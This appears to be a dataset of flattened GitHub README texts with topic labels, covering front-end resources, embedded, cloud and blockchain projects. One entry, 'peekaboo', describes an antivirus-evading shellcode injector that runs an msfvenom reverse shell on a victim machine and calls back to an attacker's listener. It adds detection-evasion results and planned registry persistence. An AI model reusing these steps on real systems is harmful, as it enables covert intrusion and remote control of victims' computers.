brackets 171 html css javascript web star 23000 ghost 172 node js star 16000 io js 173 nodejs star 13000 2048 174 view demo 175 star 7000 ueditor 176 star 1 1k electron https github com electron electron js css html star 32k hosts https github com racaljk hosts google hosts star 5 4k alloyteam 177 web fex team 178 amfe https github com amfe star watch watching 1 img 3 jpeg 2 img 2 jpeg 3 https github com dypsilon frontend dev bookmarks 4 https github com foru17 front end collect 5 https github com hawx1993 front end interview questions 6 https github com lvwzhen f2e hub 7 https github com sorrycc awesome javascript 8 https github com jacksontian fks 9 https github com youyudehexie node123 10 https github com hoosin mobile web favorites 11 https github com nimojs gulp book 12 https github com autumnswind front end tutorial 13 https github com semantic org semantic ui 14 img 1 jpeg 15 https github com primer primer 16 https github com jorgebastida glue glue 17 https github com postcss postcss plugins 18 https github com lojjic pie 19 https github com muicss mui 20 https github com javierbyte img2css 21 https github com mochajs mocha 22 img 5 png 23 https github com zmoazeni csscss 24 https github com addyosmani es6 tools 25 https github com caolan async 26 https github com mycolorway simditor 27 https github com yaniswang htmlhint 28 https github com jshint jshint 29 https github com csslint csslint 30 http www nczonline net 31 https github com angular protractor 32 https github com n1k0 casperjs 33 https github com karma runner karma 34 https github com jasmine jasmine 35 https github com chaijs chai 36 https github com jquery qunit 37 https github com gruntjs grunt 38 https github com yeoman yo 39 https github com gulpjs gulp 40 https github com spmjs spm 41 https github com ecomfe echarts 42 https github com nnnick chart js 43 https github com soulwire sketch js 44 https github com mbostock d3 45 https github com ecomfe zrender 46 https github com masayuki0812 c3 47 https github com javierbyte img2css 48 https github com ecomfe esl 49 https github com seajs seajs 50 https github com component 51 https github com webpack webpack 52 https github com daneden animate css 53 https github com visionmedia move js 54 https github com createjs tweenjs 55 https github com tictail bounce js 56 https github com thebird swipe 57 https github com tweenjs tween js 58 https github com wagerfield parallax 59 https github com julianshapiro velocity 60 https github com yanhaijing zepto fullpage 61 https github com alvarotrigo fullpage js 62 http alvarotrigo com fullpage firstpage 63 https github com peachananr onepage scroll 64 http www thepetedesign com demos onepage scroll demo html 65 https github com kenwheeler slick 66 http kenwheeler github io slick 67 https github com nicinabox superslides 68 http nicinabox com superslides 69 https github com davist11 jquery one page nav 70 https github com jssor slider 71 http www jssor com demos index html 72 https github com justineo github hovercard 73 https github com peachananr onepage scroll 74 http www htmleaf com demo 201412311045 html 75 https github com fhopeman justlazy 76 https github com stefanbuck awesome browser extensions for github 77 https github com polymer polymer 78 https github com bartaz impress js 79 http bartaz github io impress js bored 80 https github com driftyco ionic 81 https github com hakimel reveal js 82 http lab hakim se reveal js 83 https github com yahoo pure 84 https github com mrdoob three js 85 https github com nuknightlab timelinejs 86 https github com defunkt jquery pjax 87 https github com isagalaev highlight js 88 https github com tj commander js 89 https github com mozilla togetherjs 90 https github com nbubna html 91 http nbubna github io html 92 https github com meanjs mean 93 https github com sofish wechat js 94 https github com blueimp javascript load image 95 https blueimp github io javascript load image 96 https github com usablica progress js 97 http usablica github io progress js 98 https github com zurb foundation 99 https github com andrewplummer sugar 100 https github com tastejs todomvc 101 https github com slexaxton yepnope js 102 https github com callemall material ui 103 https github com dbushell pikaday 104 http dbushell github io pikaday 105 img bvmxon 106 https github com yyx990803 vue 107 https github com meteor meteor 108 https github com fex team webuploader 109 https github com ftlabs fastclick 110 https github com wangfupeng1988 wangeditor 111 https github com bestiejs benchmark js 112 https github com wickynilliams headroom js 113 https github com egoist tooling 114 https github com thebird swipe 115 https github com hammerjs hammer js 116 https github com am team amdoc 117 https github com allmobilize amazeui 118 https github com madrobby zepto 119 https github com dcloudio mui 120 https github com nolimits4web swiper 121 https github com sdc alibaba sui mobile 122 https github com amfe lib flexible 123 http nodeframework com 124 img 4 jpeg 125 https github com cnodejs nodeclub 126 https github com nswbmw n chat 127 https github com nswbmw n blog 128 https github com node inspector node inspector 129 https github com alsotang node lessons 130 https github com ksky521 nodeppt 131 http qdemo sinaapp com 132 https github com hexojs hexo 133 https github com koajs koa 134 https github com sindresorhus awesome nodejs 135 https github com senchalabs connect 136 https github com tj n 137 https github com creationix nvm 138 https github com js next react style 139 https github com react component 140 https github com facebook react native 141 https github com ele828 react native guide 142 https github com enaqx awesome react 143 https github com facebook flux 144 https github com cubiq iscroll 145 https github com jedwatson react tappable 146 https github com vczero react native lesson 147 https github com h5bp html5 boilerplate 148 https github com mozilla browserquest 149 https github com videojs video js 150 https github com afarkas html5shiv 151 https github com brunch brunch 152 https github com uikit uikit 153 https github com wycats handlebars js 154 https github com aui arttemplate 155 https github com jadejs jade 156 https github com tj ejs 157 https github com paulmillr es6 shim 158 https github com modernizr modernizr 159 https github com necolas normalize css 160 https github com afarkas html5shiv 161 https github com paulirish css3please 162 https github com babel babel 163 https github com yyx990803 164 https github com tj 165 https github com paulirish 166 https github com mbostock 167 https github com necolas 168 https github com rubylouvre 169 https github com airbnb javascript 170 https github com alloyteam mars 171 https github com adobe brackets 172 https github com tryghost ghost 173 https github com nodejs io js 174 https github com gabrielecirulli 2048 175 http gabrielecirulli github io 2048 176 https github com fex team ueditor 177 https github com alloyteam 178 https github com fex team | front_end |
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Treinamento-Full-Stack | treinamento full stack tc software engineering treinamento desenvolvedor full stack cloud c azure e react | cloud |
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Embed-Lab-Final | embedded systems lab final project p align center i making interior decoration fun i p p align right b07901163 br b07901102 br b07901081 p motivation doing interior decoration is not easy traditional interior design is done by meticulously creating a 3d model of your house then spending agonizing hours in front of your computer wondering where to put what we want to make the process straightforward and interactive so that users can walk around their new house and with a click place furniture anywhere they like slides for our final presentation can be found here https docs google com presentation d 1oxg7fq4yjdol rxl2y6k44heiknmtckho84aex ngoa edit usp sharing https user images githubusercontent com 67882177 150629294 a2e32ceb b83c 4854 a24b 3dc0eb453503 mp4 abstract we use stm32 board and raspberry pis to create an interactive way for interior design by setting up rssi network we can do the triangulation and find the user s location the user can press the button on the stm32 board to trigger irq function for setting furniture the stm32 board also supports accelerometer and magnetometer for motion and heading detection which allows user to switch object and change facing direction the user can walk around the room and place the furniture at anywhere he she wants we demonstrate our results with the minecraft game engine technical details 1 interior positioning system compared with outdoor localization indoor localization requires much higher precision to be useful in our case we would like to differentiate between objects within 2 3 meters of each other whichs rules out gps or other outdoor localization methods after surveying several papers we decided to try triangulation using multiple rssi measurements of a bluetooth signal our system consists of a stm32 board that advertises its signal and 4 raspberry pis that detect the rssi rssi distance method the received signal strength indication rssi method is one of the common choices for interior positioning the rssi value represents the power of a received radio signal the higher the rssi value the higher the signal strength moreover since no additional sensors are required to measure rssi values it becomes our first choice rssi distance method requires the received signal strength from the bluetooth anchor points the signal strength would decay as the distance between transmitter and receiver increase thus we can build a decaying model and use the rssi value to estimates the user s distance respect to the anchor point img src pic decaying png we use the mainstream logarithmic distance path loss model to calculate the distance from the rssi value the mathematical decaying model is expressed as below d is the distance between the transmitter and the receiver and n is a decaying factor related to the specific wireless transmission environment the initialization process is essential to find the decaying factor n img src pic formula png rssi variation our model assumes that the rssi value is only dependent on the distance between the two devices however in reality rssi values are significantly influenced by the environment and noise caused by multi path fading there exist multiple reflection paths for the signal to transmit from the transmitter to the receiver which may cause some interference so the actual received strength might be quite different from the ideal model as a result the variation of the received rssi are unstable even in a well controlled indoor scenario thus some filter and post processing is needed kalman filter we adopt kalman filter on both received rssi value and the calculated distance to remove some noise and eliminate the large variation the kalman filter is a state estimator that makes an estimate based on noisy measurements the key is that it takes the history values as well as the uncertainty of measurements into account img src pic highkalmangain png img src pic lowkalmangain png triangulation after we obtain the distance from each ap with known location we can do the triangulation to find the coordinate of the user we use scipy optimize library to find the optimized coordinate and minimize the error mqtt we use the mqtt messaging protocol for communications between rpi and the server mqtt is a publish subscribe network protocol that transports messages between devices which is a great choice for communication between different iot sensors rpi act as mqtt publisher and the server act as mqtt subscriber the benefit of using mqtt is that the message is organized in a hierarchy of topics we can specify the topic for the publisher and subscriber in other words it allows us to differentiate the message from different rpi simply by the topic the subscriber can subscribe to multiple topic at the same time and the publisher can publish their message no matter the subscriber exist or not this allows a great flexibility for our setting img src pic mqtt png localization procedure in conclusion we set four rpi at each corner of the room each ap would publish time stamp and the calculated distance to the server every four seconds when the server receives four distances with the same time stamp it would do triangulation and find the coordinate in other words the syncronization among four rpi are achieved by only send the message when the time stamp is the multiples of 4 so that the server can check the time stamp to find the corresponding distance pair moreover the average window of three values is used for post processing on calculated result img src pic pathfollowing png path following demo https user images githubusercontent com 67882177 150629329 dc3c00d4 4021 4f6f ba61 4105ca485636 mp4 2 stm control we set another stm32 as an remote controller to signal the pc end the detections on the board they would become the apis for the 3d modelling making use of the mbed wifi example and the python file as a listener on pc the stm32 and the pc are connected we then read the sensors from the stm32 and send the instructions to the pc the accelerometer is set to detect the movement of hands to signal the pc either it is pointing up or down or flipping right or left since the hand movement is supposed to be big enough so that it can be executed a simple threshold is set to aviod noises the compass function is formulated by the data combination of both accelerometer and magnetometer once we acquire the six axis of the data the heading is obtained by the tilt compensation algorithm accelerometers sense the overall acceleration gravity meanwhile the magnetometer gives the direction of the magnetic north therefore with the algorithm the 6 axis can be transformed the row pitch yaw directions where the yaw is the heading we need for stm control demo https user images githubusercontent com 67882177 150629392 59dff111 bf15 4fd9 a979 979a37db6294 mp4 3 3d modeling with minecraft we originally planned on using sketchup https www sketchup com or other 3d modelling software commonly used for interior planning to place actual pieces of furniture in a 3d room model but none were freely available or had more inconvenient apis we then decided to switch to minecraft https www minecraft net a popular sandbox game where players explore a 3d world made entirely out of blocks minecraft is supported on many devices and also has a python api originally made for its raspberry pi version but later extended to all devices capable of hosting a minecraft server we use a modified version of this api 1 that allows us to place blocks and move the player according to how the movements and actions of the user in real life as shown in the video above we can control the rotation left right pitch up down based on movement detected by the accelerometer and magnetometer of the stm32 board we set four pillars of blocks to mark the position of the four raspberry pis in game as shown in the two videos below we see the user moving from the gray to the white then to the blue pillar in the lower video which corresponds to the respective raspberry pis in the upper video demo https user images githubusercontent com 67882177 150630556 1b4def57 381d 4f25 ac6a e3f271593b44 mp4 https user images githubusercontent com 67882177 150630570 7791e832 d5a2 4c32 88e2 0d4ab2475527 mp4 usage tba future work synchronization currently our raspberry pi devices send data only when the time stamp is the multiples of 4 so the server can check the time stamp to synchronize those four devices when the server receives four distances with the same time stamp it would do triangulation and find the coordinate however the process has resulted in the precision limitation since the time slot between two calculated positions would be at least 4 seconds not to mention that we may need to wait additional 4 seconds if one of the devices fail to scan the rssi value since the update rate is limited the response time of the indoor positioning would be slow thus limit in precision scale as a result we would like to find a different approach for the synchronization such as using distributed key value store instead of sending distance on mqtt we may also skip the kalman filtering on raw rssi data since now we can only get approximately three or four values in three seconds scanning time the current filtering effect is not obvious because of inadequate amount of data thus we may trade off the filtering precision for more data points moreover the optimizing algorithm should be rewritten since now we only optimize for the coordinate when all four distances are received so when only three of the devices are found we would not calculate the coordinate based on those distance pair but it would waste a lot of time to wait for all four devices working properly thus the algorithm should be able to handle both cases we could also use a better rssi scanner like ibeacon extending our system to function on actual 3d modelling software references 1 chai song an renbo du zhengzhong 2016 an indoor positioning algorithm using bluetooth low energy rssi 10 2991 amsee 16 2016 72 2 xiuyan zhu yuan feng 2013 rssi based algorithm for indoor localization communications and network vol 5 no 2b 3 kalman filter https www kalmanfilter net kalman1d html 1 minecraft python api usage installation https github com stoneskin python minecraft | stm32 raspberry-pi bluetooth-low-energy minecraft indoor-positioning | os |
Resume | experience software engineer iii cisco systems jun 2015 present zero touch provisioning technologies python shell automates the process of provisioning the routers with day 0 configurations reducing the operational costs spnac technologies go influxdb kapacitor docker closed loop network automation using telemetry data from switches a network health monitoring app with auto remediation telemetry technologies c python designed and implemented infra and backend for event data collection on nexus devices java developer kavi associates jun 2013 jun 2015 locomotive road failure prediction technologies cloudera springmvc hibernate spark sas implemented data collection and aggregations tools to gather real time data from various locomotive sensors and streamed them to hdfs pretium technologies java python scala spring mvc ajax hibernate highcharts implemented a rule engine to define data preprocessing cleaning rules automated data collection cleaning integration etl and visualizations by auto generating scripts from a predefined set of rules full stack developer xl academics technologies php mysql amcharts feb 2012 may 2013 implemented messaging system financial manager and spend analyzer to allow users to create budget create savings goals track expenses and visualizations education ms in computer science northern illinois university gpa 4 0 4 0 may 2013 bachelor of engineering jntu kakinada india gpa 3 6 4 0 april 2011 technical skills languages c go python java objective c sql php jquery databases mysql postgresql influxdb prometheus ml dl frameworks tensorflow tflearn keras scikit learn key areas data structures and algorithms linux neural networks deep learning cloud technologies docker aws ec2 google cloud platform certifications deep learning nano degree foundation program cloudera certified administrator for apache hadoop ccah side projects quantified self https github com naren m quantifiedself collect aggregate and visualize data from fitbit myfitnesspal work habbits selfspy using influxdb grafana opencv face recognition emotion recognition object tracking motion detector digital augmentation https www youtube com watch v 1a80hsryxvk image overlay of image videos on a colored paper placed in front of a camera deep learning image classification https github com naren m imageclassification face generator https github com naren m facegenerator language translation https github com naren m languagetranslation tv script generation https github com naren m tvscriptgeneration image styling system usage monitor https github com naren m system usage monitor monitor system usage with influxdb grafana kapacitor tele home assistant to automate daily tasks finance manager and control smart devices hue wemo tekken py https github com naren m tekken py python playing tekken 7 https www youtube com watch v yaguiupnkoc amp feature youtu be | server |
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peekaboo | peekaboo simple undetectable shellcode and code injector launcher example inspired by rto malware development course main logic xor encryption and decryption for functions call and main payload msfvenom reverse shell as example usage 1 dll on attacker machine check your ip bash ip a attacker machine ip screenshots 2022 04 24 13 05 png raw true run python script with flags bash python3 peekaboo py l 192 168 56 1 p 4444 build 1 run python script screenshots 2022 04 24 13 08 png raw true then on victim machine windows 10 x64 run on powershell or cmd promt cmd rundll32 peekaboo dll lcisdbviaaezlhffkuhecboy run on victim machine screenshots 2022 04 24 13 11 png raw true check on attacker machine check your netcat listener check netcat listener screenshots 2022 04 24 13 12 png raw true check ip address screenshots 2022 04 24 13 13 png raw true 2 injector on attacker machine check attacker ip bash ip a check ip screenshots 2022 04 24 13 05 png raw true run python script on linux for example process mspaint exe bash python3 peekaboo py l 192 168 56 1 p 4444 e mspaint exe build 2 run python script screenshots 2022 04 24 13 18 png raw true then on victim machine run windows 10 x64 cmd peekaboo exe or click if m windows param run on victim machine screenshots 2022 04 24 13 20 png raw true check on attacker machine check your netcat listener check netcat listener screenshots 2022 04 24 13 22 png raw true 3 nt api injector run python script on linux for example process mspaint exe bash python3 peekaboo py l 192 168 56 1 p 4444 e mspaint exe m console build 3 enc and compile nt screenshots 2022 04 24 13 25 png raw true then on victim machine windows 10 x64 cmd peekaboo exe run malware screenshots 2022 04 24 13 27 png raw true run malware screenshots 2022 04 24 13 29 png raw true issues tested on 1 attacker machines kali linux 2020 1 windows 10 x64 2 victim machine windows 7 x64 windows 10 x64 3 payload windows x64 reverse shell from msfvenom 4 av engines kaspersky windows defender norton antivirus plus virus total result 02 september 2021 virustotal screenshots 11 png raw true https www virustotal com gui file c930b9aeab693d36c68e7bcf6353c7515b8fffc8f9a9233e49e90da49ab5d470 detection https www virustotal com gui file c930b9aeab693d36c68e7bcf6353c7515b8fffc8f9a9233e49e90da49ab5d470 detection 30 december 2021 nt api injector virtustotal 2 screenshots 16 png raw true https www virustotal com gui file 743f50e92c6ef48d6514e0ce2a255165f83afb1ae66deefd68dac50d80748e55 detection https www virustotal com gui file 743f50e92c6ef48d6514e0ce2a255165f83afb1ae66deefd68dac50d80748e55 detection antiscan me result 11 january 2022 nt api injector antiscan screenshots antiscan png raw true https antiscan me scan new result id rqvfqhofygh9 https antiscan me scan new result id rqvfqhofygh9 todo x compile injector in kali linux x xor aes aes branch https github com cocomelonc peekaboo tree aes x calling windows api functions by hash names x find kernel32 base via asm style x one python builder anti vm tricks persistence via windows registry run keys replace msfvenom shell to donut payload attention this tool is a proof of concept and is for educational purposes only author takes no responsibility of any damage you cause license mit https choosealicense com licenses mit | malware-development shellcode xor encryption pe-files injector injection obfuscation cpp aes cryptography | os |
web-starter-kit-gulp | web starter kit with gulp alt text http www kolszewski com images vendors v2 png web starter kit is an opinionated build automation for front end web development based on gulp http gulpjs com node https nodejs org npm https www npmjs com bower http bower io babel https babeljs io sass http sass lang com and pug https pugjs org note web starter kit is simply a guideline and it doesn t solve everything it is up to you to modify whatever necessary to achieve your project goals table of contents 1 dependencies dependencies 1 build build 1 environments environments 1 development development 1 stage stage 1 production production 1 server server 1 local urls local urls 1 options options 1 assets assets 1 data data 1 fonts fonts 1 images images 1 media media 1 miscellaneous miscellaneous 1 vendors vendors 1 scripts scripts 1 styles styles 1 bem structure bem structure 1 views views 1 pug structure pug structure 1 environment variables environment variables dependencies run npm cache clear npm i bower cache clean bower install note before you can install web start kit dependencies you will need to install gulp http gulpjs com node https nodejs org npm https www npmjs com and bower http bower io back to top table of contents build generate a fresh build of your project task will run several individual tasks on files within src and then output them to build run gulp build environments you can specify which environment you want to build if you do not pass env as an option then dev will be used by default development run gulp build env dev stage run gulp build env stage production run gulp build env prod back to top table of contents server start a local dev server additionally gulp will watch for any changes to files and reload browser while server is running run gulp server local urls local http localhost 3000 ui set to false by default options you can modify port proxy and many other settings in gulpfile babel js for more information about browsersync go to http www browsersync io http www browsersync io back to top table of contents assets run several individual tasks to copy static files from src to build run gulp assets data copy data files to build data run gulp data fonts copy font files to build fonts run gulp fonts images copy images to build images as a personal preference web starter kit doesn t use automated image optimization it is strongly recommended to use services like tinypng https tinypng com and tinyjpg https tinyjpg com to optimize images manually run gulp images media copy media files to build media run gulp media miscellaneous copy miscellaneous files such as htaccess or robots txt to the root of build if your project require custom settings per environment then you can save individual files into appropriate directory within src misc run gulp misc vendors bundle vendor files to build vendors you can install new client side vendors using bower then reference appropriate files in src vendors bundle js and src vendors bundle min js web starter kit comes with jquery example run gulp vendors back to top table of contents scripts run a series of sub tasks to generate final javascript files see gulpfile babel js for reference note each file on the root of src scripts will be compiled to its own file in build scripts each file can have own includes just like sass with import functionality see src scripts main js as an example run gulp scripts back to top table of contents styles run a series of sub tasks to generate final css files see gulpfile babel js for reference note each file on the root of src styles will be compiled to its own file in build styles run gulp styles bem structure web starter kit follows a strict naming convention using bem https en bem info methodology directory structure and selector names are divided into namespaces based on more transparent ui code with namespaces http csswizardry com 2015 03 more transparent ui code with namespaces article by harry roberts views run a series of sub tasks to generate final html files see gulpfile babel js for reference run gulp views pug structure web starter kit follows an opinionated directory structure to learn more about pug go to https pugjs org api getting started html https pugjs org api getting started html environment variables every pug file has access to global env variable you can use it to conditionally load unminified minified assets see src views includes head pug as an example back to top table of contents | pug gulp sass bower build-automation es6-javascript bem babel | front_end |
seed-framework | seed framework build status https travis ci org helpscout seed framework svg https travis ci org helpscout seed framework npm version https badge fury io js seed framework svg https badge fury io js seed framework dependencies status https david dm org helpscout seed framework status svg https david dm org helpscout seed framework seed css framework js is powered by bootstrap js http getbootstrap com javascript install npm install seed framework save wip this project has evolved like cray there s lots more that needs to be added todo components x base styles https github com helpscout seed base x dropdowns https github com helpscout seed dropdown x modal https github com helpscout seed modal x popover https github com helpscout seed popover x table https github com helpscout seed table x tooltip https github com helpscout seed tooltip x progress bar https github com helpscout seed progress bar spinner x responsive video https github com helpscout seed video breadcrumb x nav https github com helpscout seed nav x pagination https github com helpscout seed pagination x form group https github com helpscout seed form group documentation you can find most of our documentation here https developer helpscout com seed basic usage scss this seed pack needs to be imported into your sass pipeline below is an example using gulp javascript var gulp require gulp var sass require gulp sass var pack require seed framework gulp task sass function return gulp src sass scss pipe sass includepaths pack pipe gulp dest css once that is setup simply import seed as needed in your scss file scss packs import pack seed framework index | os |
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CMU549_DTR | cmu549 dtr distributed tabletop robots embedded system design project website | os |
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amoveo | amoveo amoveo is a blockchain meant for enforcement of investment and insurance contracts amoveo contracts are enforced using state channels this means fees are low contracts are nearly instant and can support a global audience amoveo has futarchy based oracle technology amoveo can learn facts about our world and enforce the outcome of contracts that are governed by these facts this for example enables you to bet on the price of amazon shares the variables that define how to participate in amoveo can be modified by the amoveo community using futarchy a betting type governance mechanism this way amoveo will always stay optimally tuned to produce the best results amoveo whitepaper https github com zack bitcoin amoveo docs blob master white paper md amoveo main net was launched at 11 00 am gmt on march 2 2018 the current market cap in veo http 159 89 87 58 8080 ext getmoneysupply community amoveo forum on reddit https www reddit com r amoveo amoveo announcements on twitter https twitter com zack bitcoin amoveo on telegram https t me amoveo amoveo on discord https discord gg a52szjw historic difficulty in depth https amoveo tools amoveo website from the exantech the same people who wrote an iphone and android app https amoveo io website for exploring oracles and governance variables https veo sh oracles statistics page to see historic difficulty blocktime hashrate and more https jimhsu github io amoveo stats smart contracts here is documentation https github com zack bitcoin amoveo docs blob master light node p2p derivatives md for how to make bets on any topic using amoveo light node the most secure way to use the light node is to download it from github https github com zack bitcoin light node amoveo this is a cryptoeconomically secure way to use amoveo you can use the light node less securely by clicking this link http 64 227 21 70 8080 home html this is the easiest way to get started using this light node is the same as trusting this server with your money an alternative exan tech made a light node with a different user interface that they host here amoveo exan tech using this light node is the same as trusting them with your money this light node downloads headers and verifies the proof of work it verifies the merkle proofs for all blockchain state you download to ensure security equivalent to a full node provided you wait for enough confirmations block explorer veopool explorer http explorer veopool pw veoscan explorer nodes blocks txs markets holders and more http veoscan io mveo explorer historic difficulty analisys https mveo net amoveo tools historical difficulty chart https amoveo tools the block explorer for the network is here http 64 227 21 70 8080 explorer html this explorer can host markets full node launch an erlang full node and connect to the network https github com zack bitcoin amoveo docs blob master getting started turn it on md issue commands to your full node https github com zack bitcoin amoveo docs blob master api commands md commands such as turning the node off without corrupting the database looking up information from the blockchain or it s history making a server that collects fees by routing payments or making markets participating in the oracle mechanism or governance mechanism mining this is an open source miner for amd and nvidia gpu currently only works with linux https github com zack bitcoin veocl this is a miner it is for nvidia or amd gpus it is closed source https github com phamhuong92 veominer here is another closed source miner https github com krypdkat amoveominerman comino appears to be selling some fpga software to mine veo https comino com shop here is miners for 5 different kinds of fpga https github com dedmarozz amoveo s mining algorithm uses sha256 like bitcoin but it is a little different so bitcoin asics cannot be used to mine amoveo full node keys are stored in build prod rel amoveo core keys keys db mining pools the only public mining pool http 159 223 85 216 8085 main html run your own pool https github com zack bitcoin amoveo docs blob master getting started mining md run your own pool https github com zack bitcoin amoveo docs blob master getting started mining md trading there are people trading now on discord https discord gg xjqcvat be very careful using exchanges they are centralized the operator can take all the veo if they wanted qtrade exchange for btc veo trading https qtrade io market veo btc graviex exchange https github com zack bitcoin amoveo blob master docs exchanges graviex links md a1 exchange for eth veo and btc veo trading previously called amoveo exchange https a1 exchange browser extentions firefox it can be found here https addons mozilla org en us firefox addon amoveo wallet and the source code is here https github com johnnycash77 amoveo3 wallet software to launch a new mining pool a mining pool https github com zack bitcoin amoveo mining pool developers if you want to build on top of amoveo read the developer s guide https github com zack bitcoin amoveo docs blob master getting started quick start developer guide md | blockchain |
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cloud-coding-challenge | stan cloud engineering challenge overview the purpose of this challenge is to assess your skills and approach to automated provisioning deployment and configuration management please complete the basic goals below and deliver the outputs as requested you don t need to spend more than a couple of hours on the challenge additional challenges are available if you have time and want to show us what you can do completing the basic goals in an automated reliable reproducible way is preferable to completing any of the additional challenges basic goals automate the deployment of secure publicly available load balanced web servers that return the instance id of the host that served the request ensure that the web servers are available in two aws availability zones and will automatically rebalance themselves if there is no healthy web server instance in either availability zone redirect any http requests to https self signed certificates are acceptable write one or two paragraphs about how you might further improve the automation and management of the infrastructure if you were to take it into production note all of the services required are eligible for the aws free tier https aws amazon com free additional challenges provide basic automated tests to cover included scripts templates manifests recipes code etc return a custom static page for 4xx 5xx errors add a database to the infrastructure and have your application serve something from the database in addition to the instance id write one or two paragraphs about why you solved the basic goals and additional challenges the way you did output please include in your e mail 1 a public url to access your deployment 1 your written answers 1 any scripts config files manifests recipes or source code you used to achieve the goals in the form of a public source repository url a zipped file or a zipped file via download link we ll complete our review of the live environment within 2 business days so that you can tear it down promptly | cloud |
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CBC | cbc cloud based compiler my final year engineering project do not use without asking me first | cloud |
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Exam-2nd-semester | exam 2nd semester second semester alt school cloud engineering exam segments ansible playbook containing 1 ansible cfg file tha holds configuration of ansible 2 inventory holds the target machine s ip address 3 site yaml copies the cron job copies the laravel file changes the command on the file and runs the laravel script laravel slave sh file installs and deploys the laravel application with lamp stack master slave sh file generates master and slave machines laravel sh deploys laravel on the master machine how to run the script 1 spin up the master and slave machines 1 spin up screenshots 1 20spin 20up 20master 20and 20slave 20machines png 2 ssh into the master machine enter as a root user and run laravel sh script update and upgrade server install lamp stack install composer configure apache2 clone laravel configure mysql execute key gen and migrate for php 1 ssh into master screenshots 2a 20ssh 20into 20the 20master 20machine png 2b run laravel sh screenshots 2b 20run 20laravel sh png 2c run laravel screenshots 2c 20run 20laravel png 3 ssh key gen and generate key pair 3 ssh key gen screenshots 3 20ssh 20key 20gen 20and 20pair png 4 run ansible playbook to update and upgrade server set cron job to check uptime of server copy bash script to slave machine set execute permissions on script run bash script 4 run ansible play book screenshots 4a 20run 20ansible png 5 further screen shot evidence 5 further screen shots screenshots 5 20further 20screen 20shots png 6 functional php app via vm ip address 6 functional php app via vm ip address screenshots 6 20functional 20php 20app 20via 20vm 20ip 20address png | cloud |
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apollo-universal-starter-kit | p align center a href img width 150 src https rawgit com sysgears apollo universal starter kit master logo svg a p apollo universal starter kit backers on open collective https opencollective com apollo universal starter kit backers badge svg backers sponsors on open collective https opencollective com apollo universal starter kit sponsors badge svg sponsors join the chat at https gitter im sysgears apollo fullstack starter kit https badges gitter im sysgears apollo fullstack starter kit svg https gitter im sysgears apollo fullstack starter kit utm source badge utm medium badge utm campaign pr badge utm content badge build status https travis ci com sysgears apollo universal starter kit svg branch master https travis ci com sysgears apollo universal starter kit code style prettier https img shields io badge code style prettier ff69b4 svg style flat square https github com prettier prettier twitter follow https img shields io twitter follow sysgears svg style social https twitter com sysgears use our chat to get help or discuss general topics about apollo universal starter kit official website visit apollokit org to learn about apollo universal starter kit you can also test a demo application deployed on render description technologies png apollo universal starter kit is an seo friendly fully configured modular starter project for developing universal javascript applications you can use this kit to create your applications in javascript or typescript for all major platforms ndash mobile web and server apollo universal starter kit is built with apollo graphql react angular react native expo knex js and express with support for relational databases such as postgresql mysql and sqlite typescript is our language of choice and we use it across the entire project however you can freely mix vanilla javascript the es6 and es7 syntax and typescript when creating your modules the starter kit also integrates twitter bootstrap ant design and nativebase to provide great possibilities for styling for your web and mobile applications table of contents overview overview why use apollo universal starter kit why use apollo universal starter kit concept concept architecture and implemented modules architecture and implemented modules demo demo branches branches first run of apollo universal starter kit first run of apollo universal starter kit project structure project structure apollo universal starter kit documentation apollo universal starter kit documentation support support community support community support commercial support commercial support contributors contributors backers backers sponsors sponsors license info license overview why use apollo universal starter kit i am a developer great productivity thanks to live reload and partial hot code reload fractal modular architecture that s easy to support and extend the possibility to create modules in typescript and javascript at the same time no need to develop typical features architecture and implemented modules for your applications i am a project manager your application will work faster thanks to graphql your team will be able to reuse the code for all the platforms your team can create client server and mobile javascript applications your application will be easier to support and evolve thanks to the fractal modular architecture your application will be based on a widely used javascript ecosystem it s easy to find js developers your team can develop new features straightaway instead of creating the basic features your application will be integrated with stripe one of the top payment processors concept developing client server mobile projects in javascript never was a trivial task not only do you have to spend time installing the application dependencies and configuring them but you re also constrained to implement many basic functionalities over and over again and you never have time to develop a starter codebase that you can reuse across all of your projects to relieve you from the burden of configuring the project developing the application structure and implementing typical features we created apollo universal starter kit apollo universal starter kit provides you with a client server mobile application that you can employ as a foundation for developing new web or mobile projects using popular tools from the javascript ecosystem but our starter kit does so much more than just creating a mix of popular js technologies mdash it s powered by a few custom libraries and solutions to simplify managing project configurations creating new modules building graphql queries and perform many other tasks the starter kit also consists of many modules that you can augment and adapt to develop your specific application also you can use those prebuilt modules as a reference when implementing basic features for your applications even if you create them using other technologies architecture and implemented modules among all the approaches to building the application architecture we opt for the disposable fractal based modular architecture thanks to it it s possible to remove any built in module from apollo universal starter kit without breaking the application we recommend that you develop your custom modules with the same idea in mind when using our starter kit apollo universal starter kit comes with the following modules authentication authentication via social networks facebook github linkedin and google using oauth and password based authentication refreshing a forgotten password authorization permission based authorization with various user roles contact us form functionality to send messages to the server internationalization a complete internationalization solution for the client and server mobile chat a live chat based on the react native gifted chat and powered by graphql subscriptions pagination navigation between pages and presentation of entities payments functionality for recurring payments based on stripe posts and comments functionality to add delete and update posts and comments state management the application state stored in the database and on the client using different approaches 404 not found page a minimalistic module for handling 404 requests if you don t want to use the pre built modules in your project you can remove them using a dedicated cli for module names see the names of directories under modules to learn more about the features and modules available in apollo universal starter kit follow to the dedicated section features and modules demo here s a demo of apollo universal starter kit in action screencast https user images githubusercontent com 1259926 27387579 c6799ada 56a1 11e7 93fc d08e9970640d gif you can try out the latest version of apollo universal starter kit deployed on render if you want to see the mobile react native application in action check out this demo on expo io branches branch description stable the latest stable version of the kit recommended master the kit version with the latest features may not work consistently single a single package apollo v2 version of the kit apollo1 the apollo v1 version of the kit cli crud this kit version features a cli to generate crud implementations first run of apollo universal starter kit verify if you use node js 6 x or higher node js 10 is recommended before running the starter kit 1 clone the stable branch of apollo universal starter kit git clone b stable https github com sysgears apollo universal starter kit git cd apollo universal starter kit note the master branch is not recommended for development use it at your own risk note if you re going to use windows to develop with apollo universal starter kit you need to additionally enable symlinks before you run the project for windows 10 press win i to open settings click update security click the for developers tab in the use developer features window switch to developer mode note you can remove the unnecessary stacks from apollo universal starter kit by using the cli consult a respective cli section alternatively you can use the capabilities of your operating system for example by running the command below you can remove all scala server files bash find name server scala xargs rm rf if you don t need the ready made modules you can also remove them using the custom cli 2 install the dependencies make sure that you use yarn 1 0 0 or higher yarn you can use npm instead of yarn to handle the starter kit dependencies and to run scripts throughout the apollo universal starter kit documentation we ll always use yarn 3 seed sample data to the database the command below will create new tables with sample data in sqlite yarn seed sqlite is a typical default relational database installed in most linux distributions including mac os x otherwise consult sqlite installation guide 4 run the starter kit in development mode yarn watch the 